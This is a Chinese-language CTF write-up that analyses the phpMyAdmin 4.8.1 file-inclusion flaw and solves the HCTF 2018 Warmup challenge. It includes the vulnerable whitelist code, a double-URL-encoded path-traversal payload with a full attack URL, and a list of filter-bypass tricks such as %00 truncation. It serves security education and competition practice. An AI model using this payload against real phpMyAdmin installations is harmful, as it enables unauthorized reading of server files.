从phpMyAdmin 4.8.1漏洞到CTF实战：HCTF 2018 Warmup赛题深度解析

在网络安全竞赛中，phpMyAdmin 4.8.1的文件包含漏洞是一个经典案例。这个漏洞不仅在实际渗透测试中有重要价值，更成为CTF比赛中Web类题目的常见考点。本文将以HCTF 2018 Warmup赛题为例，详细拆解如何将漏洞原理转化为解题思路，帮助参赛者建立完整的代码审计思维框架。

1. 漏洞原理与条件分析

phpMyAdmin 4.8.1的文件包含漏洞核心在于 index.php 中对 target 参数的处理逻辑。要成功利用这个漏洞，需要满足以下关键条件：

1. 参数基础验证 ：

   • 参数不为空
   • 参数为字符串类型
   • 不以"index"开头
   • 不在黑名单中(import.php/export.php)

2. 白名单绕过机制 ：

   // 检查逻辑的三种可能路径
   if (in_array($page, $whitelist)) {
       return true;
   }
   if (in_array($_page, $whitelist)) {
       return true;
   }
   $_page = urldecode($page);
   if (in_array($_page, $whitelist)) {
       return true;
   }
   

   其中最关键的是第三次检查时的双重URL解码特性：

   • 服务器自动解码一次
   • urldecode() 函数再解码一次
   • 需要构造 %253f 来绕过（?的二次编码）

2. CTF赛题映射与源码审计

HCTF 2018 Warmup赛题给出了以下关键源码片段：

// source.php关键代码
if (! empty($_REQUEST['file'])
    && is_string($_REQUEST['file'])
    && emmm::checkFile($_REQUEST['file'])
) {
    include $_REQUEST['file'];
} else {
    echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}

对比phpMyAdmin漏洞，可以发现相似的安全检查模式：

通过hint.php获取的提示 flag not here, and flag in ffffllllaaaagggg ，结合phpMyAdmin的漏洞利用经验，可以推测需要构造特殊的文件包含路径。

3. Payload构造与绕过技巧

针对Warmup赛题的白名单检查，我们需要构造能够绕过 emmm::checkFile() 的payload。参考phpMyAdmin漏洞，关键步骤如下：

1. 确定基础白名单文件 ：

   • 题目中source.php本身通常是安全的
   • 使用source.php作为跳板

2. 应用双重编码技巧 ：

   原始字符：?
   一次编码：%3f
   二次编码：%253f
   

3. 构造目录穿越路径 ：

   # 计算需要的../层级
   payload = "source.php%253f/../../../../ffffllllaaaagggg"
   

4. 完整攻击URL ：

   http://target.com/source.php?file=source.php%253f/../../../../ffffllllaaaagggg
   

4. 实战解题思维训练

要系统化培养这类题目的解题能力，建议按照以下步骤进行训练：

1. 代码审计四步法 ：

   • 定位危险函数（include/require）
   • 追踪参数传递路径
   • 分析过滤条件
   • 寻找过滤逻辑缺陷

2. 常见绕过模式清单 ：

   • 编码绕过（URL/双重URL/Base64）
   • 路径截断（%00/超长路径）
   • 特殊字符利用（./~//）

3. CTF特有问题解决框架 ：

   1. 查看页面源码和网络请求
   2. 寻找提示文件(hint.php/robots.txt)
   3. 分析给出的源代码
   4. 建立漏洞利用模型
   5. 构造测试payload
   6. 迭代优化攻击方案
   

在真实比赛环境中，还需要注意时间管理和解题优先级。Web类题目通常会有多个解题路径，phpMyAdmin漏洞思路只是其中一种可能的突破口。